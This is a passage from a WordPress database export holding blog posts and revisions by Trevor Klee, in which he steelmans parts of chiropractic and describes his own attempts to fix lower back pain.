migraine, they are sensitive to light and fatigued easily. Due to this expectation, they develop a sensitivity to light and fatigue from this eye pain, which really is just caused by irritation in their neck.<br><br>Seems far-fetched? I don’t think so. The nocebo effect is a powerful thing, especially when it comes to non-specific symptoms like light sensitivity or fatigue. If someone expects eye pain to be accompanied by light sensitivity, or stomach pain to be accompanied by an upset stomach, it will be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, treating the pain by using spinal manipulation can result in resolution of the accompanying symptoms as well. You might call this a placebo effect, or just a reversal of a nocebo effect. Still, without effectively resolving the pain, it’s unlikely the accompanying symptoms would have been resolved either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Conclusion</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Overall, I think modern medicine would benefit from the inclusion of some chiropractic ideas and methodology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For patients, I think there are a lot of people that would benefit from seeing a good chiropractor, especially people who are aware that they’ve experienced traumatic or chronic spinal stress. The trick is finding a good chiropractor, preferably one who is at least familiar with physical therapy. Patients should stay far, far away from anyone who insists on only doing upper spine manipulation.</p>\n<!-- /wp:paragraph -->','Steelmanning chiropractic￼','','publish','closed','closed','','steelmanning-chiropractic%ef%bf%bc','','','2022-10-19 15:41:03','2022-10-19 15:41:03','',0,'https://trevorklee.com/?page_id=317',0,'page','',0),
(318,1,'2022-10-19 15:41:03','2022-10-19 15:41:03','<!-- wp:heading {\"level\":1} -->\n<h1>Introduction</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s really easy to be skeptical of chiropractors. The founder of chiropractic, D. D. Palmer, claimed that all diseases come from disorders of the spine, and can be fixed by fixing the spine. His son and intellectual heir, B.J. Palmer, went further and claimed that all diseases come from disorders of the upper spine, and can be diagnosed by measuring temperature changes in the spinal column using a handheld “neurocalometer”, which he made his followers lease for exorbitant prices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These ideas are obviously ridiculous. Even worse, they still have adherents today, so called “straight” chiropractors (as opposed to “mixer” chiropractors, who mix traditional chiropractic with other ideas and disciplines). It’s entirely possible that if you go to your local chiropractor tomorrow, he will pull out a neurocalometer or its successor, the Nervo-Scope. For a personal example, I live 5 minutes away from Mass General Hospital, one of the best hospitals in the world, and there’s a chiropractor across the street from me who claims he can cure ADHD in children with spinal manipulations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, my thought process about chiropractic ended with my knowledge of the above. Then, as I got older, I started becoming more interested in it again. I became more familiar with the ways in which traditional medicine failed, especially in chronic musculoskeletal issues (like&nbsp;<a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back\">my own lower back pain</a>). And, as I looked more deeply into chiropractic, I found myself becoming increasingly impressed by its successes. I found dozens of Youtube videos of chiropractors having remarkable success curing tricky musculoskeletal ailments.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I’m aware that those videos can be faked. It is the Internet, after all. However, what couldn’t be faked was the process the chiropractors used to diagnose and treat their patients. They had surprisingly systematic methods of diagnosis (including radiography) and followed a logical treatment plan based on those diagnoses. Even if the videos were faked (and I don’t think they were), the logic behind how the chiropractors thought seemed very real.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fba11d7c0-0d59-4527-8742-e5d75f40db62_2174x444.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fba11d7c0-0d59-4527-8742-e5d75f40db62_2174x444.png\" alt=\"\"/></a><figcaption>A good video for getting a sense of how some of the better “mixer” Youtube chiropractors (or in this case, a “naprapath”) think about their patients. Here, Beau Hightower explains to an orthopedic surgeon how he thinks about the spine while performing adjustments on him. If you can survive the clickbait title, here’s&nbsp;<a href=\"https://www.youtube.com/watch?v=jQAWBpV6c5g\">a link to the video</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>After watching way too many Youtube videos, then, I decided to finally approach chiropractic in my own systematic way. I knew I wouldn’t be able to learn everything chiropractors learn without doing some hands-on work, and that wasn’t what I was interested in, anyways. I was much more interested in what chiropractors thought of as the foundation for why and how their treatments were designed. And, more importantly, I wanted to be able to establish which parts of chiropractic should be taken into the mainstream.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, here’s my attempt at establishing those parts. I think there are 3 claims of chiropractic that can be taken seriously and should be adopted into mainstream medicine. I’ve listed them here from easiest to most difficult to defend. As you might expect, I’ll try to defend each of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>The chiropractic claims that can be steelmanned</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. There are spinal disorders that can be permanently fixed only with directly and physically manipulating the vertebrae. These manifest through pain, neuropathy, and limited mobility involving the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. There are musculoskeletal disorders that are, in fact, spinal disorders, and part of the treatment of these should be directly and physically manipulating the vertebrae. These manifest through pain, neuropathy, and limited mobility involving parts of the body that have no obvious connection to the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. There are some scattered somatic disorders that are in fact, partially spinal disorders, and part of the treatment of these should be directly and physically manipulating the vertebrae. These can manifest in ways that are not obviously connected to the spine at all, like dizziness or indigestion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Claim 1: there are spinal disorders that can be permanently fixed only with directly manipulating the vertebrae.</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before I get into claim 1, it would probably be useful to explain how modern/mixer/non-insane chiropractors think about the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Chiropractors see the spine as a chain of vertebrae that go directly down the center of the back. These vertebrae are separated by cushiony discs that prevent them from directly impacting each other. The vertebrae and the discs are held in place by a combination of muscle and ligament. Woven in the spine are nerves, both efferent, which go from the brain to the body to dictate movement, and afferent, which go from the body to the brain as part of the sensory system.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18badde-984b-4e05-8083-3cf3af77e784_685x671.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18badde-984b-4e05-8083-3cf3af77e784_685x671.png\" alt=\"\"/></a><figcaption>Between each vertebrae is a disc, which you can see below. These nerves are interwoven through the bones and held in place through muscle and ligament. If you take a look at the sciatic nerve by the leg, it should be unsurprising how back dysfunction can lead to hip dysfunction, which can pinch the sciatic nerve. This is a bit of a spoiler for below.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The ideal spine has an S curve from front to back, and no curve from side to side. This helps support the weight of the body as we stand upright. Any variations from this ideal can cause pain, loss of mobility, or other problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc05569ba-82d0-4989-9c7e-cf3c792f03a0_500x750.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc05569ba-82d0-4989-9c7e-cf3c792f03a0_500x750.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The modern chiropractor does not believe, as the traditional chiropractor does, that the spine is the ultimate determinant of health. However, he or she believes that good spinal health is necessary for good overall physical and mental health. He also believes that the spine, along with the rest of the body, can normally self-regulate, repairing itself from damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, certain damages or “challenges” can cause a change to the body that’s impossible for the body to fix on its own. These challenges can be physical, chemical, or emotional. Chiropractic is most useful for repairing physical challenges. These can be sudden physical challenges, like a car crash causing a dislocated vertebrae, or chronic challenges, like someone who carries heavy weights on their back every day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7540654f-5247-4361-ab3a-9e66d13f720b_888x516.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7540654f-5247-4361-ab3a-9e66d13f720b_888x516.png\" alt=\"\"/></a><figcaption>An example of a dislocation or subluxation caused by a fall. This patient apparently only had limited range of motion, but no pain. It&nbsp;<a href=\"https://www.nejm.org/doi/full/10.1056/NEJMicm0908013\">was fixed by orthopedic surgery</a>, which is another means of directly and physically manipulating the vertebrae.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The most obvious thing that can go wrong with the spine is for a part of the spine to get bent out of place for whatever reason. This can be due to a problem with the spine itself, or with the muscles and ligaments that keep it in place. A part of the spine that’s out of place can interfere with the functioning of the muscles, the ligaments, or the nerves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, a modern chiropractor will do what’s necessary in order to get the vertebrae back into place. A very common method of treatment is to do the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Ask the patients what their specific pain is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Confirm the source of the pain by pressing on various parts of the spine, or asking the patient to perform movements that target specific parts of the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Massage the muscles around the dislocated (or “subluxated”) part of the spine, as they are likely tense from overwork, given that their structural support is out of place. This massage is meant to make the muscles relax so that the associated vertebrae can move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. “Adjust” the vertebrae back into place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Prescribe a series of exercises and stretches to keep the vertebrae in place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If a vertebrae is so out of place that it can’t be moved back in by normal range of motion or exercise, someone has to physically manipulate it back in. In the meanwhile, that will likely cause pain, nerve complications, or loss of motion. So, that’s claim 1!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s try claim 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Claim 2: there are musculoskeletal disorders that appear elsewhere in the body that need to be fixed by spinal manipulation.</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This claim is a bit trickier. Most people will only go to a chiropractor for back problems. If a chiropractor claims to be able to fix non-back problems, it’s natural to be skeptical. However, I think there are some non-back pains and nerve problems that need to have chiropractic (or other spinal manipulation) as part of their treatment plan. I’m referring specifically to problems caused by compensation and nerve confusion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Compensation is relatively straightforward. Imagine you’re doing deadlifts, and you end up hurting your lumbar spine. This is your lower back, which connects directly to your pelvis. It’s a huge part of how you walk. Let’s say you specifically pinch your sciatic nerve on your left side by accidentally rotating your sacrum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, when you walk, it hurts to use your left leg as much. Instead, you start to use your right leg more. Your right leg is suddenly taking on almost all the work of your left leg. This places increasing amounts of strain on all parts of your right leg, from your foot up to your hip.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The final result is that the compensation for the loss of left leg function ends up causing pain in your right foot. If you go and see a chiropractor for the pain in your right foot, part of their treatment will need to be to help you fix your lower back issue on your left side.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F83243743-fb84-462e-a8cc-7c71ebdabb63_1200x628.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F83243743-fb84-462e-a8cc-7c71ebdabb63_1200x628.jpeg\" alt=\"Understanding Leg Length Discrepancy (LLD) - MASS4D® Foot Orthotics\" title=\"Understanding Leg Length Discrepancy (LLD) - MASS4D® Foot Orthotics\"/></a><figcaption>This is obviously exaggerated, but you can see how a shift in your pelvis could cause an entire side of your body to be injured as it compensates.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That’s one way in which pain that’s not obviously connected to your spine would still need to be fixed by a spinal adjustment. Another way is nerve confusion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to address nerve confusion, it’d probably be easiest to start with a familiar example. You’re probably familiar with the fact that one of the main symptoms of a heart attack is pain radiating from the chest down the arm. If you think about it, that’s a bit strange. Heart attacks do not affect the arm. There’s never been anyone who’s suffered arm damage from a heart attack. So why would that be a symptom of a heart attack?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, there are a lot of motor neurons and sensory neurons that run through the chest area. They kind of have to in order to get from the spine to the arm. As a heart attack goes on, inflammatory substances are released, as happens whenever there’s tissue damage (think of the hot swelling of a sprained ankle). Depending on how many inflammatory substances are released, they can start affecting the other sensory neurons in the area, tricking the brain into thinking the pain is coming from wherever the other sensory neurons terminate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is similar to phantom limb pain, in which people can get a body part amputated and then still feel pain from that amputated body part. The body misinterprets where the pain is coming after the sensory neuron is triggered, assuming it’s still coming from the amputated limb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similar pains can happen around the spine. Depending on the location of a spinal subluxation (or even just a muscle spasm), a random sensory neuron can get tripped. Pain ends up getting attributed to the wrong part of the body. This is what commonly happens, for instance, when people with stiff necks complain of pain around their eyes or ocular migraines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, it’s possible someone with an ocular migraine, or even pain in their arm, might actually be experiencing a sensory neuron being irritated at the spinal column (rather than where it feels like the sensory neuron is being irritated). This can then be fixed by manipulation of the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdf786fd-59dc-4745-a43f-c49d3bef52ce_1280x720.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdf786fd-59dc-4745-a43f-c49d3bef52ce_1280x720.jpeg\" alt=\"Neck And Eye Pain After A Car Accident\" title=\"Neck And Eye Pain After A Car Accident\"/></a><figcaption>I thought I had too many informative pictures, so here’s one that’s completely unhelpful.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Claim 3: there are some non-musculoskeletal somatic disorders, like dizziness or indigestion, that still need to have spinal manipulation as part of their treatment plan.</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The last claim can then start with the same idea. Let’s say that someone is experiencing pain in their eye region due to neural irritation in their neck. They identify this as an ocular migraine, which they’ve had before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Having experienced ocular migraines before, they’ve gotten used to the idea that, whenever they get a migraine, they are sensitive to light and fatigued easily. Due to this expectation, they develop a sensitivity to light and fatigue from this eye pain, which really is just caused by irritation in their neck.<br><br>Seems far-fetched? I don’t think so. The nocebo effect is a powerful thing, especially when it comes to non-specific symptoms like light sensitivity or fatigue. If someone expects eye pain to be accompanied by light sensitivity, or stomach pain to be accompanied by an upset stomach, it will be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, treating the pain by using spinal manipulation can result in resolution of the accompanying symptoms as well. You might call this a placebo effect, or just a reversal of a nocebo effect. Still, without effectively resolving the pain, it’s unlikely the accompanying symptoms would have been resolved either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Conclusion</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Overall, I think modern medicine would benefit from the inclusion of some chiropractic ideas and methodology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For patients, I think there are a lot of people that would benefit from seeing a good chiropractor, especially people who are aware that they’ve experienced traumatic or chronic spinal stress. The trick is finding a good chiropractor, preferably one who is at least familiar with physical therapy. Patients should stay far, far away from anyone who insists on only doing upper spine manipulation.</p>\n<!-- /wp:paragraph -->','Steelmanning chiropractic￼','','inherit','closed','closed','','317-revision-v1','','','2022-10-19 15:41:03','2022-10-19 15:41:03','',317,'https://trevorklee.com/?p=318',0,'revision','',0),
(319,1,'2022-10-19 15:42:05','2022-10-19 15:42:05','<!-- wp:paragraph -->\n<p>I turned 29 a few months ago, which means I have lower back pain. I’m not sure why it means that, but I think literally every man reading this will wince in agreement. This lower back pain has been coming and going intermittently since I was about 23. It gets worse when I sit for a long time or do Brazilian Jiu Jitsu (a hobby that, perhaps not coincidentally, I picked up at age 23), and gets better when I do active stretching and light exercise involving my core and legs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This problem is annoying enough that I’ve paid a fair amount of money to see physical therapists to try to fix it. Unfortunately, the advice and fixes I’ve gotten haven’t been great. The diagnoses seem to be all around muscular imbalances: the right muscles are too strong compared to the left, the glutes aren’t strong enough compared to the lower back muscles, etc. Then, as the explanation goes, the strong muscles pull stuff out of position and the weak muscles can’t resist. This causes back pain. The treatment is then to stretch the strong muscles and strengthen the weak muscles, restoring muscular balance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not a fan of these diagnoses/treatments for a few reasons. First, the treatment seems to be the exact same thing that I’ve been doing on my own, so I’m not sure why I had to pay money to hear this. Second, I’m going to have to keep doing these stretches/exercises forever, apparently. And third, there’s no way to falsify these diagnoses, so they’re not really scientific. They’re more just a guess. If they stop working, or if my back pain gets worse, I don’t have any way of modifying them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the past several years, I’ve been very interested in finding a quick, permanent fix for my back pain, as I don’t like relying on something that I have to do continually and I don’t really understand. One “permanent” fix that I’ve tried a couple times is chiropraxy, even though I’ve always had my doubts. There seems to be a very wide variation in the quality of chiropraxy, but the best chiropractors seem to rely on a theory of nerve compression. Funnily enough, this is also the theory that back surgeons rely on, so I thought it’d be worth looking into.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the chiropractic/surgical explanation goes, back pain is caused by something compressing the pain nerves in the back. This can be caused by a “subluxation”, the displacement of a joint&nbsp;<a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-1\">1</a>. Or it can be caused by a herniation, which is the bulging of a spinal disc out of its normal cavity. This is normally due to a tear in the casing that keeps a spinal disc stuck in its proper cavity. Either way, bone or cartilage ends up where it shouldn’t be, compressing pain nerves and triggering pain signals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, chiropractors and surgeons differ greatly in their proposed solution. Chiropractors want to pop joints back where they should be, regardless of whether they’re discs, vertebrae, or anything else. Chiropractors believe that if you can force a joint back in its proper place, it’ll stay stuck there, at least until your next chiropractic visit. If you don’t force a joint into its proper place, it will stay stuck outside, causing pain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, surgeons disagree. They don’t think that it’s possible to just force a joint back into place permanently. If you force it back in, they argue, it’ll just pop out the same way it did before. So the surgeons believe that if there’s a displacement of a spinal joint (a vertebrae), the surgeon needs to force it back in and then mechanically attach it to its fellow vertebrae using brackets, so it never escapes again. If there’s a bulging disc, on the other hand, surgeons will simply cut out the part that bulges, a procedure called “discectomy”, without worrying about forcing things back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I like the idea of forcing joints back into place, which is why I tried chiropraxy&nbsp;<a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-2\">2</a>. As someone who recently dislocated and then personally relocated my knee cap, I can tell you that there is a profound difference in pain levels when a joint is out of position vs. into position. If a joint is out of position, it would make sense that it would cause pain. It would also make sense that pain levels could be drastically and permanently reduced as soon as the joint was popped back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think that’s how both chiropractors and surgeons think about it, too. Every chiropractor has presumably seen someone undergo immediate pain relief when a joint that was out of position gets forced back in. Meanwhile, every surgeon is aware of what can happen when a disc bulges severely enough to cause something like cauda equina syndrome, in which a disc ends up compressing the cauda equina nerve bundle in the lower back so badly that people lose bowel control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In retrospect, though, I’m not sure this was the right way for me to be thinking about my lower back pain. My lower back pain comes and goes and has no other obvious symptoms. That doesn’t fit in with my experience of having a dislocated joint, which was a constant, sharp pain that did not seem like it was going away anytime soon. I also experience no loss of mobility with my back, even when I’m experiencing lower back pain. Presumably, given that the entire purpose of joints is to allow bones to move relative to another, any dislocated joint should make it difficult to move the affected bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, this realization only came after I spent several hundred dollars on chiropractic treatments and got very confused going down the rabbit hole of controlled trials on treatments for back pain, very few of which actually try to segment people by cause of their back pain. Well, live and learn.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, after my youthful experimentation with chiropraxy, I started to think that lower back pain like mine, which comes and goes and has no other obvious symptoms, would seem to require a cause that also comes and goes and wouldn’t cause any other symptoms.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Muscle strain would be one obvious option, of course. It gets worse when I overtrain my muscles (or the wrong muscles), and better when I rest my muscles, or retrain the right ones. But there’s another option here: the “<a href=\"https://en.wikipedia.org/wiki/Nocebo\">nocebo</a>” model of back pain, popularized by Dr. John Sarno.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This proposes that, in the same way patients receiving placebos can psych themselves into feeling the side effects they expect to get, Westerners can psych themselves into feeling the back pain that they expect to get. Specifically,&nbsp;<a href=\"https://www.vox.com/science-and-health/2017/10/2/16338094/dr-john-sarno-healing-back-pain\">Sarno argued that Westerners somaticize stress by turning it into back pain</a><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-3\">3</a>. So, the way to fix back pain is to fix how we deal with stress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I first read this, it seemed plausible. I have experienced stomach pain from anxiety, so it doesn’t seem crazy that I could experience back pain from stress. However, when I thought about it more, it didn’t really fit into my experience. I get back pain most often after jiu-jitsu practice, which isn’t particularly stressful but does require a lot of back muscles.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> I do occasionally get back pain when I’m stressed at work, to be fair, so there’s probably something to the nocebo effect. However, even if that is an accurate partial diagnosis, it’s even less helpful than muscle strain. I already try to reduce stress because it’s unpleasant in and of itself. That’s like half the reason I exercise, ironically. Transforming my problem from “find a quick, permanent fix to your back pain” into “find a quick, permanent fix for your stress” isn’t super helpful. Both are difficult.<br><br>So, at the end of it all, I just ended up being stuck back at treating everything as muscle pain. Now, whenever I experience back pain, I stretch my hamstrings, groin, and obliques, then do some “good morning” exercises with no weight. It seems to work ok for now. Hopefully it will continue to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both doctors and chiropractors use the term “subluxation”, but chiropractors are looser on their definition. Doctors believe that any displacement has to be visible on an x-ray in order to be considered a subluxation, while traditional chiropraxy doesn’t consider that a necessary condition. Instead, traditional chiropraxy basically says, “If we fixed your back pain with a spinal manipulation, it was a subluxation”, which is obviously problematic, given the placebo effect. Some modern chiropractors have moved more towards the medical definition, though.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I feel like surgery itself is too dangerous to be done without exploring every other possible option. I especially think surgeons discount the dangers of anesthesia, as up to&nbsp;<a href=\"https://sunnybrook.ca/research/content/?page=anesthesia-brain-health-education-pocd#:~:text=Post%2Doperative%20cognitive%20dysfunction%20(POCD)%20is%20a%20state%20in,to%20three%20months%20after%20surgery\">1 in 3 patients will experience some period of cognitive decline after anesthesia</a>. Basically, I don’t want to go under unless I’m desperate and have no other options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back#footnote-anchor-3\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He also argued some other stupid stuff regarding pain being caused by decreased blood flow, but we can ignore that.</p>\n<!-- /wp:paragraph -->','How I\'ve tried to fix my lower back pain','','publish','closed','closed','','how-ive-tried-to-fix-my-lower-back-pain','','','2022-10-19 15:42:05','2022-10-19 15:42:05','',0,'https://trevorklee.com/?page_id=319',0,'page','',0),
(320,1,'2022-10-19 15:42:05','2022-10-19 15:42:05','<!-- wp:paragraph -->\n<p>I turned 29 a few months ago, which means I have lower back pain. I’m not sure why it means that, but I think literally every man reading this will wince in agreement. This lower back pain has been coming and going intermittently since I was about 23. It gets worse when I sit for a long time or do Brazilian Jiu Jitsu (a hobby that, perhaps not coincidentally, I picked up at age 23), and gets better when I do active stretching and light exercise involving my core and legs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This problem is annoying enough that I’ve paid a fair amount of money to see physical therapists to try to fix it. Unfortunately, the advice and fixes I’ve gotten haven’t been great. The diagnoses seem to be all around muscular imbalances: the right muscles are too strong compared to the left, the glutes aren’t strong enough compared to the lower back muscles, etc. Then, as the explanation goes, the strong muscles pull stuff out of position and the weak muscles can’t resist. This causes back pain. The treatment is then to stretch the strong muscles and strengthen the weak muscles, restoring muscular balance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not a fan of these diagnoses/treatments for a few reasons. First, the treatment seems to be the exact same thing that I’ve been doing on my own, so I’m not sure why I had to pay money to hear this. Second, I’m going to have to keep doing these stretches/exercises forever, apparently. And third, there’s no way to falsify these diagnoses, so they’re not really scientific. They’re more just a guess. If they stop working, or if my back pain gets worse, I don’t have any way of modifying them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the past several years, I’ve been very interested in finding a quick, permanent fix for my back pain, as I don’t like relying on something that I have to do continually and I don’t really understand. One “permanent” fix that I’ve tried a couple times is chiropraxy, even though I’ve always had my doubts. There seems to be a very wide variation in the quality of chiropraxy, but the best chiropractors seem to rely on a theory of nerve compression. Funnily enough, this is also the theory that back surgeons rely on, so I thought it’d be worth looking 